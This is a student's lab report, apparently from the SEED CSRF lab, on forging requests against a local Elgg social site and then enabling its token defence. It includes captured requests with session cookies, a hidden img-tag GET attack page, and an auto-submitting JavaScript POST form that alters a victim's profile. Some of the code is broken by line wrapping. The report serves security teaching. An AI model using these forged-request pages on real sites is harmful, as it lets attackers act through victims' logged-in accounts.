
Cross-Site Request Forgery (CSRF) Attack Lab 57118137 朱旭

Task 1: Observing HTTP Request

使用 admin 账号登陆 User: Admin; Username: admin; Password: seedelgg:



首先是 post 方法请求域名下的 login, 302 响应, 重定向到根目录之下。 Post 参数为:

__elgg_token=bc0CWk01rxA2coPHmusk2A

__elgg_ts=1600050056

username=admin

password=seedelgg

returntoreferer=true



F12 调用开发者工具下看此处实际应为 GET 的请求,请求根目录然后 302 重定向到 activity,此次 get 请求无参数。

其后为返回 200 状态码,均为 GET 请求且无参数

Task 2: CSRF Attack using GET Request

首先以 alice 登录并搜索 boby, 点击添加好友查看请求插件中显示如下 为 GET 请求, 返回 200

```
http://www.csrflabelgg.com/action/friends/add?friend=43& elgg
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:78.0) Gecko/20100101 Firefox/
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://www.csrflabelgg.com/profile/boby
Cookie: Elgg=m91ekrignqijqegr83cgp92vd7
GET: HTTP/1.1 200 OK
Date: Mon, 14 Sep 2020 02:57:50 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 366
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json;charset=utf-8
参数为:
__elgg_ts=1600052173
elgg token=sTcwhLJajCcEwpjykMKShA
```

```
__elgg_ts=1600052173
__elgg_token=sTcwhLJajCcEwpjykMKShA
```


故只需伪造上图中的 ur l 即可,

http://www.csrflabelgg.com/action/friends/add?friend=43&__elgg_ts=160 0052173&__elgg_token=sTcwhLJajCcEwpjykMKShA&_elgg_ts=1600052173&_el gg_token=sTcwhLJajCcEwpjykMKShA

使用 img 标签, 直接将 get 攻击链接替换为 src 的链接, 即可实现自动访问这个 get 链接。

```
[09/13/20]seed@VM:~$ cd /var/www/CSRF/Attacker
[09/13/20]seed@VM:.../Attacker$ su
密码:
root@VM:/var/www/CSRF/Attacker# vi index.html
root@VM:/var/www/CSRF/Attacker# cat index.html
<html>
<body>
    <h1>This page forges an HTTP GET request.</h1>
    <img src="http://www.csrflabelgg.com/action/friends/add?friend=43"
        alt="img" width="1" height="1"/>
<body/>
</html>
root@VM:/var/www/CSRF/Attacker#
```

使用 Boby 登录,发布包含 http://www.csrflabattacker.com 链接的 blog。



使用 alice 登录, 访问该链接即可实现攻击



This page forges an HTTP GET request.

Task 3: CSRF Attack using POST Request 点击 Edit profile 修改其 brief description 发送的 POST 请求如下:

```
http://www.csrflabelgg.com/action/profile/edit
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:78.0) Gecko/20100101 Firefox/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 484
Origin: http://www.csrflabelgg.com
Connection: keep-alive
Referer: http://www.csrflabelgg.com/profile/alice/edit
Cookie: Elgg=o0a7k46dupq4ccb85pc842gvf7
Upgrade-Insecure-Requests: 1
  _elgg_token=M3M3F2NYNVHdNvp0tPLfTQ&__elgg_ts=1600059149&name=/
POST: HTTP/1.1 302 Found
Date: Mon, 14 Sep 2020 04:54:35 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
 Pragma: no-cache
Location: http://www.csrflabelgg.com/profile/alice
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
url 为 http://www.csrflabelgg.com/action/profile/edit
参数如下:
__elgg_token=M3M3F2NYNVHdNvp0tPLfTQ
elgg ts=1600059149
name=Alice
description=
accesslevel[description]=2
briefdescription=Boby is my hero
accesslevel[briefdescription]=2
location=
accesslevel[location]=2
interests=
accesslevel[interests]=2
skills=
accesslevel[skills]=2
contactemail=
accesslevel[contactemail]=2
phone=
accesslevel[phone]=2
mobile=
accesslevel[mobile]=2
website=
accesslevel[website]=2
twitter=
accesslevel[twitter]=2
gu i d=42
改写原来的 index. html 文件
```

```
[09/14/20]seed@VM:.../CSRF$ cd Attacker
[09/14/20]seed@VM:.../Attacker$ su
密码:
root@VM:/var/www/CSRF/Attacker# vi index.html
root@VM:/var/www/CSRF/Attacker#
```

```
root@VM:/var/www/CSRF/Attacker# cat index.html
<!doctype html>
<html lang="en">
<body>
    <h1>This page forges an HTTP POST request.</h1>
    <script type="text/javascript">
        function forge post() {
            var fields;
            // The following are form entries need to b
e filled out by attackers.
            // The entries are made hidden, so the vict
im won't be able to see them.
            fields += "<input type='hidden' name='name'
 value='Alice'>";
            fields += "<input type='hidden' name='brief
description' value='Boby is my Hero'>";
            fields += "<input type='hidden' name='acces
slevel[briefdescription]' value ='2'> ";
            fields += "<input type='hidden' name='guid'</pre>
 value='42'>";
            // Create a <form> element.
            var p = document.createElement("form");
            // Construct the form
            p.action = "http://www.csrflabelgg.com/acti
on/profile/edit";
            p.innerHTML = fields;
            p.method = "post";
            // Append the form to the current page.
            document.body.appendChild(p);
            // Submit the form
            p.submit();
        // Invoke forge post() after the page is loaded
        window.onload = function () { forge post(); }
    </script>
</body>
</html>
root@VM:/var/www/CSRF/Attacker#
```

点击链接,攻击生效

问题答案:

问题 1:

点击添加 Alice 的好友, 返回的 GET 请求中的 add?friend = 42, 即为 Alice 的

guid

http://www.csrflabelgg.com/action/friends/add?friend=42&__elgg Host: www.csrflabelgg.com User-Agent: Mozilla/5.0 (X11; Linux i686; rv:78.0) Gecko/20100101 Firefox/ Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: http://www.csrflabelgg.com/profile/alice Cookie: Elgg=g4pp66fspk93cgub9p3i77ftc3 GET: HTTP/1.1 200 OK Date: Mon, 14 Sep 2020 05:19:32 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 368 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json;charset=utf-8

问题 2: 不能。因为 CSRF 攻击是预先写好的, 其所构造的参数限制了该攻击只能针对特定的人。

Task 4: Implementing a countermeasure for Elgg

Elgg 通过使用 secret-token approach 来抵御 CSRF 攻击, 其利用 elgg_token 和 elgg_ts 两个参数来作为 CSRF 攻击的防御对策。在之前的几项任务, 该项措施被禁用而使得 CSRF 攻击能成功实现。现取消禁用来观察攻击是否仍然有效。

开启防御措施:

进入/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg 目录 找到 ActionsService.php 文件 修改函数 gatekeeper(), 注释掉 return true;

然后再观察攻击是否有效

```
[09/14/20]seed@VM:~$ cd /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg
[09/14/20]seed@VM:.../Elgg$ su
密码:
root@VM:/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/clas
ses/Elgg# vi ActionsService.php
```

再次点击攻击链接,无法修改,无法自动跳转,一直自动刷新,攻击失败。

This page forges an HTTP POST request.

undefined

原因是因为 elgg_token 参数是一直变化的, 但是我们 csrf 攻击只能通过提前预设参数, 在 html 文件中嵌入攻击代码和预设好的参数进行攻击。如果对 elgg_token 参数进行检验, 那么 csrf 将无法完成攻击

由其生成代码:

```
$ts = time();
$token = generate_action_token($ts);
echo elgg_view('input/hidden', array('name'
=> '__elgg_token', 'value' =>
$token));
echo
              elgg_view('input/hidden',
                                             array('name'
=> ' __elgg_ts' , ' value' => $ts));
function generate_action_token($timestamp)
$site_secret = get_site_secret();
$session_id = session_id();
// Session token
$st = $_SESSION[' __elgg_session'];
if (($site_secret) && ($session_id))
return md5($site_secret . $timestamp . $session_id . $st);
return FALSE;
```